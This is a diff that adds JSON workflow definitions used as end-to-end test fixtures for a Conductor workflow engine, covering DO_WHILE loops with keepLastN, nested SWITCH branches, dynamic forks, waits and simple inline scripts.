+ "inputParameters": { + "external_key": "${workflow.input.external_key}", + "workflow_id": "${workflow.workflowId}", + "start_at": "${workflow.createTime}", + "status": "COMPLETED" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "taskDefinition": { + "name": "platform_workflow_complete", + "description": "asd", + "retryCount": 50000, + "timeoutSeconds": 3600, + "inputKeys": [ + "workflow_id", + "status", + "start_at", + "end_at", + "external_key", + "message" + ], + "outputKeys": [], + "timeoutPolicy": "RETRY", + "retryLogic": "LINEAR_BACKOFF", + "retryDelaySeconds": 15, + "responseTimeoutSeconds": 600, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1, + "ownerEmail": "test@conductor.io", + "backoffScaleFactor": 5 + }, + "rateLimited": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {} + }, + { + "name": "terminate_condition_is_true", + "taskReferenceName": "terminate_condition_is_true", + "inputParameters": { + "terminationStatus": "COMPLETED", + "terminationReason": "asd." + }, + "type": "TERMINATE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "rateLimited": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {} + } + ] + }, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "rateLimited": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "evaluatorType": "value-param", + "expression": "switchCaseValue", + "onStateChange": {} + }, + { + "name": "predictions_get_sagemaker_pipeline_execution_status_long_running", + "taskReferenceName": "predictions_get_daily_bq_export_pipeline_status_long_running", + "description": "asd", + "inputParameters": { + "pipeline_started_at_rfc": "${predictions_start_daily_bq_export_pipeline.output.pipeline_started_at_rfc}", + "pipeline_uid": "${predictions_start_daily_bq_export_pipeline.output.pipeline_uid}", + "pipeline_timeout_duration": "24h", + "wait_duration": "2m" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "taskDefinition": { + "name": "predictions_get_sagemaker_pipeline_execution_status_long_running", + "description": "asd", + "retryCount": 6, + "timeoutSeconds": 0, + "inputKeys": [ + "pipeline_uid", + "pipeline_started_at_rfc", + "wait_duration", + "pipeline_timeout_duration" + ], + "outputKeys": [ + "pipeline_status" + ], + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 30, + "responseTimeoutSeconds": 100, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1, + "ownerEmail": "test@conductor.io", + "backoffScaleFactor": 1 + }, + "rateLimited": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {} + }, + { + "name": "predictions_process_daily_bq_export_pipeline_results", + "taskReferenceName": "predictions_process_daily_bq_export_pipeline_results", + "description": "asd", + "inputParameters": { + "namespace_id": "${workflow.input.namespace_id}", + "pipeline_uid": "${predictions_start_daily_bq_export_pipeline.output.pipeline_uid}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "taskDefinition": { + "name": "predictions_process_daily_bq_export_pipeline_results", + "description": "asd", + "retryCount": 3, + "timeoutSeconds": 100, + "inputKeys": [ + "namespace_id", + "pipeline_uid" + ], + "outputKeys": [ + "pipeline_status", + "is_pipeline_failure" + ], + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 300, + "responseTimeoutSeconds": 100, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1, + "ownerEmail": "test@conductor.io", + "backoffScaleFactor": 1 + }, + "rateLimited": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {} + } + ], + "onStateChange": {} + }, + { + "name": "platform_return_token", + "taskReferenceName": "return_token_ref", + "inputParameters": { + "resource_pool_name": "predictionspipelinespool", + "token_id": "${reserve_token_ref.output.token_id}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "taskDefinition": { + "name": "platform_return_token", + "description": "asd", + "retryCount": 3, + "timeoutSeconds": 3600, + "inputKeys": [ + "resource_pool_name", + "token_id" + ], + "outputKeys": [ + "is_token_returned", + "returned_at", + "previously_returned" + ], + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 600, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1, + "ownerEmail": "test@conductor.io", + "backoffScaleFactor": 1 + }, + "rateLimited": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {} + } + ], + "inputParameters": [ + "namespace_id" + ], + "outputParameters": {}, + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "ownerEmail": "test@conductor.io", + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "variables": {}, + "inputTemplate": {}, + "onStateChange": {} +}, + { + "createTime": 1751358927741, + "updateTime": 1751362970177, + "name": "do-while-set-variable-fix", + "description": "do-while-set-variable-fix", + "version": 1, + "tasks": [ + { + "name": "set_variable", + "taskReferenceName": "set_initial_variable_ref", + "inputParameters": { + "isApproved": false, + "isSkipApproval": false + }, + "type": "SET_VARIABLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {}, + "permissive": false + }, + { + "name": "do_while", + "taskReferenceName": "do_while_ref", + "inputParameters": { + "isApproved": "${workflow.variables.isApproved}" + }, + "type": "DO_WHILE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopCondition": "(function () {\r\n return !$.isApproved;\r\n})();", + "loopOver": [ + { + "name": "switch", + "taskReferenceName": "switch_is_skip_approval_ref", + "inputParameters": { + "isSkipApproval": "${workflow.variables.isSkipApproval}" + }, + "type": "SWITCH", + "decisionCases": { + "true": [ + { + "name": "set_variable", + "taskReferenceName": "set_is_approved", + "inputParameters": { + "isApproved": true + }, + "type": "SET_VARIABLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {}, + "permissive": false + } + ], + "false": [ + { + "name": "wait_2", + "taskReferenceName": "wait_ref_2", + "inputParameters": { + "duration": "2 seconds" + }, + "type": "WAIT", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {}, + "permissive": false + }, + { + "name": "set_variable", + "taskReferenceName": "wait_ref_bug_from_here_down_below", + "inputParameters": { + "isSkipApproval": true + }, + "type": "SET_VARIABLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {}, + "permissive": false + }, + { + "name": "wait_1", + "taskReferenceName": "wait_ref_1", + "inputParameters": { + "duration": "2 seconds" + }, + "type": "WAIT", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {}, + "permissive": false + } + ] + }, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "evaluatorType": "value-param", + "expression": "isSkipApproval", + "onStateChange": {}, + "permissive": false + } + ], + "evaluatorType": "graaljs", + "onStateChange": {}, + "permissive": false + } + ], + "inputParameters": [], + "outputParameters": {}, + "failureWorkflow": "", + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "ownerEmail": "test@conductor.io", + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "variables": {}, + "inputTemplate": {}, + "enforceSchema": true, + "metadata": {} + }] \ No newline at end of file diff --git a/e2e/src/test/resources/metadata/do_while_keep_last_n_fix.json b/e2e/src/test/resources/metadata/do_while_keep_last_n_fix.json new file mode 100644 index 0000000..ac7d80f --- /dev/null +++ b/e2e/src/test/resources/metadata/do_while_keep_last_n_fix.json @@ -0,0 +1,561 @@ +[{ + "createTime": 1741164587336, + "updateTime": 1741169042134, + "name": "keep_last_n_example", + "description": "keep_last_n_example ", + "version": 1, + "tasks": [ + { + "name": "do_while_batch_creation", + "taskReferenceName": "do_while_batch_creation_ref", + "inputParameters": { + "items": "${workflow.input.batch}", + "keepLastN": 2 + }, + "type": "DO_WHILE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopCondition": "", + "loopOver": [ + { + "name": "dynamic_fork_prep", + "taskReferenceName": "dynamic_fork_prep_ref", + "inputParameters": { + "expression": "(function () {\n let obj = [];\n \n for (var i = 0; i < $.urls.length; i++) {\n obj.push({\n \"value\": $.urls[i],\n });\n }\n return obj;\n})();\n", + "evaluatorType": "graaljs", + "urls": "${do_while_batch_creation_ref.output.item}" + }, + "type": "INLINE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {}, + "permissive": false + }, + { + "name": "fork_join_dynamic", + "taskReferenceName": "fork_join_dynamic_ref", + "inputParameters": { + "forkTaskWorkflow": "wait", + "forkTaskInputs": "${dynamic_fork_prep_ref.output.result}", + "forkTaskWorkflowVersion": "1" + }, + "type": "FORK_JOIN_DYNAMIC", + "decisionCases": {}, + "dynamicForkTasksParam": "dynamicTasks", + "dynamicForkTasksInputParamName": "dynamicTasksInput", + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": true, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {}, + "permissive": false + }, + { + "name": "join", + "taskReferenceName": "join_ref", + "inputParameters": {}, + "type": "JOIN", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {}, + "permissive": false + } + ], + "evaluatorType": "value-param", + "onStateChange": {}, + "permissive": false + } + ], + "inputParameters": [ + "values", + "batchSize" + ], + "outputParameters": {}, + "failureWorkflow": "", + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "ownerEmail": "test@conductor.io", + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "variables": {}, + "inputTemplate": {}, + "enforceSchema": true +}, + { + "createTime": 1741164927683, + "updateTime": 0, + "name": "wait", + "description": "wait", + "version": 1, + "tasks": [ + { + "name": "wait", + "taskReferenceName": "wait_ref", + "inputParameters": { + "duration": "1 seconds" + }, + "type": "WAIT", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {}, + "permissive": false + } + ], + "inputParameters": [], + "outputParameters": {}, + "failureWorkflow": "", + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "ownerEmail": "example@email.com", + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "variables": {}, + "inputTemplate": {}, + "enforceSchema": true + }, + { + "createTime": 1741164587336, + "updateTime": 1741169042134, + "name": "keep_last_n_example_2", + "description": "keep_last_n_example_2 ", + "version": 1, + "tasks": [ + { + "name": "do_while_batch_creation", + "taskReferenceName": "do_while_batch_creation_ref", + "inputParameters": { + "items": "${workflow.input.batch}", + "keepLastN": 4 + }, + "type": "DO_WHILE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopCondition": "", + "loopOver": [ + { + "name": "dynamic_fork_prep", + "taskReferenceName": "dynamic_fork_prep_ref", + "inputParameters": { + "expression": "(function () {\n let obj = [];\n \n for (var i = 0; i < $.urls.length; i++) {\n obj.push({\n \"value\": $.urls[i],\n });\n }\n return obj;\n})();\n", + "evaluatorType": "graaljs", + "urls": "${do_while_batch_creation_ref.output.item}" + }, + "type": "INLINE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {}, + "permissive": false + }, + { + "name": "fork_join_dynamic", + "taskReferenceName": "fork_join_dynamic_ref", + "inputParameters": { + "forkTaskWorkflow": "wait", + "forkTaskInputs": "${dynamic_fork_prep_ref.output.result}", + "forkTaskWorkflowVersion": "1" + }, + "type": "FORK_JOIN_DYNAMIC", + "decisionCases": {}, + "dynamicForkTasksParam": "dynamicTasks", + "dynamicForkTasksInputParamName": "dynamicTasksInput", + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": true, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {}, + "permissive": false + }, + { + "name": "join", + "taskReferenceName": "join_ref", + "inputParameters": {}, + "type": "JOIN", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {}, + "permissive": false + } + ], + "evaluatorType": "value-param", + "onStateChange": {}, + "permissive": false + }, + { + "name": "do_while_batch_creation", + "taskReferenceName": "do_while_batch_creation_ref_2", + "inputParameters": { + "items": "${workflow.input.batch}", + "keepLastN": 2 + }, + "type": "DO_WHILE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopCondition": "", + "loopOver": [ + { + "name": "dynamic_fork_prep", + "taskReferenceName": "dynamic_fork_prep_ref_2", + "inputParameters": { + "expression": "(function () {\n let obj = [];\n \n for (var i = 0; i < $.urls.length; i++) {\n obj.push({\n \"value\": $.urls[i],\n });\n }\n return obj;\n})();\n", + "evaluatorType": "graaljs", + "urls": "${do_while_batch_creation_ref.output.item}" + }, + "type": "INLINE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {}, + "permissive": false + }, + { + "name": "fork_join_dynamic", + "taskReferenceName": "fork_join_dynamic_ref_2", + "inputParameters": { + "forkTaskWorkflow": "wait", + "forkTaskInputs": "${dynamic_fork_prep_ref.output.result}", + "forkTaskWorkflowVersion": "1" + }, + "type": "FORK_JOIN_DYNAMIC", + "decisionCases": {}, + "dynamicForkTasksParam": "dynamicTasks", + "dynamicForkTasksInputParamName": "dynamicTasksInput", + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": true, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {}, + "permissive": false + }, + { + "name": "join", + "taskReferenceName": "join_ref_2", + "inputParameters": {}, + "type": "JOIN", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {}, + "permissive": false + } + ], + "evaluatorType": "value-param", + "onStateChange": {}, + "permissive": false + } + ], + "inputParameters": [ + "values", + "batchSize" + ], + "outputParameters": {}, + "failureWorkflow": "", + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "ownerEmail": "test@conductor.io", + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "variables": {}, + "inputTemplate": {}, + "enforceSchema": true + }, + { + "createTime": 1741356706086, + "updateTime": 1741356053405, + "name": "keep_last_n_example_3", + "description": "keep_last_n_example_3", + "version": 1, + "tasks": [ + { + "name": "fork", + "taskReferenceName": "fork_ref", + "inputParameters": {}, + "type": "FORK_JOIN", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [ + [ + { + "name": "inline", + "taskReferenceName": "inline_ref", + "inputParameters": { + "expression": "(function () {\n return $.value1 + $.value2;\n})();", + "evaluatorType": "graaljs", + "value1": 1, + "value2": 2 + }, + "type": "INLINE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {}, + "permissive": false + }, + { + "name": "do_while_1", + "taskReferenceName": "do_while_ref_1", + "inputParameters": { + "number": 5, + "keepLastN": 4 + }, + "type": "DO_WHILE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopCondition": "(function () {\n if ($.do_while_ref_1['iteration'] < $.number) {\n return true;\n }\n return false;\n})();", + "loopOver": [ + { + "name": "set_variable_1", + "taskReferenceName": "set_variable_ref_1", + "inputParameters": { + "name": "Orkes" + }, + "type": "SET_VARIABLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {}, + "permissive": false + }, + { + "name": "simple", + "taskReferenceName": "simple_ref", + "inputParameters": {}, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {}, + "permissive": false + } + ], + "evaluatorType": "graaljs", + "onStateChange": {}, + "permissive": false + } + ], + [ + { + "name": "set_variable", + "taskReferenceName": "set_variable_ref", + "inputParameters": { + "name": "Orkes" + }, + "type": "SET_VARIABLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {}, + "permissive": false + }, + { + "name": "do_while", + "taskReferenceName": "do_while_ref", + "inputParameters": { + "number": 5, + "keepLastN": 2 + }, + "type": "DO_WHILE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopCondition": "(function () {\n if ($.do_while_ref['iteration'] < $.number) {\n return true;\n }\n return false;\n})();", + "loopOver": [ + { + "name": "simple_1", + "taskReferenceName": "simple_ref_1", + "inputParameters": {}, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {}, + "permissive": false + }, + { + "name": "simple_2", + "taskReferenceName": "simple_ref_2", + "inputParameters": {}, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {}, + "permissive": false + } + ], + "evaluatorType": "graaljs", + "onStateChange": {}, + "permissive": false + } + ] + ], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {}, + "permissive": false + }, + { + "name": "join", + "taskReferenceName": "join_ref", + "inputParameters": {}, + "type": "JOIN", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {}, + "permissive": false + } + ], + "inputParameters": [ + "values", + "batchSize" + ], + "outputParameters": {}, + "failureWorkflow": "", + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "ownerEmail": "test@conductor.io", + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "variables": {}, + "inputTemplate": {}, + "enforceSchema": true + } +] \ No newline at end of file diff --git a/e2e/src/test/resources/metadata/do_while_keep_last_n_switch_test.json b/e2e/src/test/resources/metadata/do_while_keep_last_n_switch_test.json new file mode 100644 index 0000000..c59eeff --- /dev/null +++ b/e2e/src/test/resources/metadata/do_while_keep_last_n_switch_test.json @@ -0,0 +1,286 @@ +{ + "createTime": 1758994238260, + "updateTime": 1758994489818, + "name": "do_while_keep_last_n_switch_test", + "description": "DO_WHILE with keepLastN=3, nested SWITCH, and max iteration control", + "version": 1, + "tasks": [ + { + "name": "do_while", + "taskReferenceName": "do_while_ref", + "inputParameters": { + "status": "${workflow.variables.status}", + "keepLastN": 3 + }, + "type": "DO_WHILE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopCondition": "$.status != 'Completed'", + "loopOver": [ + { + "name": "switch", + "taskReferenceName": "switch_ref", + "inputParameters": { + "switchCaseValue": "b" + }, + "type": "SWITCH", + "decisionCases": { + "a": [ + { + "name": "eval_c_or_d", + "taskReferenceName": "eval_c_or_d_ref", + "inputParameters": { + "expression": "(function () {\n let r = Math.floor(Math.random() * 10) + 1;\n return r > 3 ? \"c\": \"d\";\n})();", + "evaluatorType": "graaljs", + "value1": 1, + "value2": 2 + }, + "type": "INLINE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {}, + "permissive": false + }, + { + "name": "switch_1", + "taskReferenceName": "switch_ref_1", + "inputParameters": { + "switchCaseValue": "${eval_c_or_d_ref.output.result}" + }, + "type": "SWITCH", + "decisionCases": { + "c": [ + { + "name": "inline_2", + "taskReferenceName": "inline_ref_2", + "inputParameters": { + "expression": "(function () {\n return $.value1 + $.value2;\n})();", + "evaluatorType": "graaljs", + "value1": 1, + "value2": 2 + }, + "type": "INLINE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {}, + "permissive": false + } + ], + "d": [ + { + "name": "set_variable", + "taskReferenceName": "set_variable_ref", + "inputParameters": { + "status": "Completed" + }, + "type": "SET_VARIABLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {}, + "permissive": false + } + ] + }, + "defaultCase": [ + { + "name": "wait", + "taskReferenceName": "wait_ref", + "inputParameters": { + "duration": "1 seconds" + }, + "type": "WAIT", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {}, + "permissive": false + } + ], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "evaluatorType": "value-param", + "expression": "switchCaseValue", + "onStateChange": {}, + "permissive": false + } + ], + "b": [ + { + "name": "inline", + "taskReferenceName": "inline_ref", + "inputParameters": { + "expression": "(function () {\n return $.value1 + $.value2;\n})();", + "evaluatorType": "graaljs", + "value1": 1, + "value2": 2 + }, + "type": "INLINE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {}, + "permissive": false + }, + { + "name": "set_variable_1", + "taskReferenceName": "set_variable_ref_1", + "inputParameters": { + "status": "RUNNING" + }, + "type": "SET_VARIABLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {}, + "permissive": false + } + ] + }, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "evaluatorType": "value-param", + "expression": "switchCaseValue", + "onStateChange": {}, + "permissive": false + }, + { + "name": "max_loop_ctrl", + "taskReferenceName": "max_loop_ctrl_ref", + "inputParameters": { + "expression": "(function () {\n return $.iteration > 25 ? \"stop\": \"continue\";\n})();", + "evaluatorType": "graaljs", + "iteration": "${do_while_ref.output.iteration}" + }, + "type": "INLINE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {}, + "permissive": false + }, + { + "name": "switch_2", + "taskReferenceName": "switch_ref_2", + "inputParameters": { + "switchCaseValue": "${max_loop_ctrl_ref.output.result}" + }, + "type": "SWITCH", + "decisionCases": { + "stop": [ + { + "name": "set_variable_2", + "taskReferenceName": "set_variable_ref_2", + "inputParameters": { + "status": "Completed" + }, + "type": "SET_VARIABLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {}, + "permissive": false + } + ] + }, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "evaluatorType": "value-param", + "expression": "switchCaseValue", + "onStateChange": {}, + "permissive": false + } + ], + "evaluatorType": "graaljs", + "onStateChange": {}, + "permissive": false + } + ], + "inputParameters": [], + "outputParameters": {}, + "failureWorkflow": "", + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "ownerEmail": "test@conductor.io", + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "variables": {}, + "inputTemplate": {}, + "enforceSchema": true, + "metadata": {}, + "maskedFields": [] +} \ No newline at end of file diff --git a/e2e/src/test/resources/metadata/do_while_wait_switch_iteration_test.json b/e2e/src/test/resources/metadata/do_while_wait_switch_iteration_test.json new file mode 100644 index 0000000..47fd373 --- /dev/null +++ b/e2e/src/test/resources/metadata/do_while_wait_switch_iteration_test.json @@ -0,0 +1,239 @@ +{ + "createTime": 1758559575365, + "updateTime": 1758910968583, + "name": "do_while_wait_switch_iteration_test", + "description": "DO_WHILE with WAIT and SWITCH tasks testing manual iteration control", + "version": 1, + "tasks": [ + { + "name": "do_while", + "taskReferenceName": "do_while_ref", + "inputParameters": { + "status": "${workflow.variables.status}" + }, + "type": "DO_WHILE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopCondition": "$.status != 'Completed'", + "loopOver": [ + { + "name": "inline_sample", + "taskReferenceName": "inline_sample_ref", + "inputParameters": { + "expression": "(function () { \n const current = $.iteration;\n return current;\n})();", + "evaluatorType": "graaljs", + "iteration": "${do_while_ref.output}" + }, + "type": "INLINE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {}, + "permissive": false + }, + { + "name": "http", + "taskReferenceName": "http_ref", + "inputParameters": { + "uri": "https://orkes-api-tester.orkesconductor.com/api", + "method": "GET", + "accept": "application/json", + "contentType": "application/json", + "encode": true + }, + "type": "HTTP", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {}, + "permissive": false + }, + { + "name": "wait", + "taskReferenceName": "wait_ref", + "inputParameters": {}, + "type": "WAIT", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {}, + "permissive": false + }, + { + "name": "switch", + "taskReferenceName": "switch_ref", + "inputParameters": { + "switchCaseValue": "${wait_ref.output.result}" + }, + "type": "SWITCH", + "decisionCases": { + "a": [ + { + "name": "http_1", + "taskReferenceName": "http_ref_1", + "inputParameters": { + 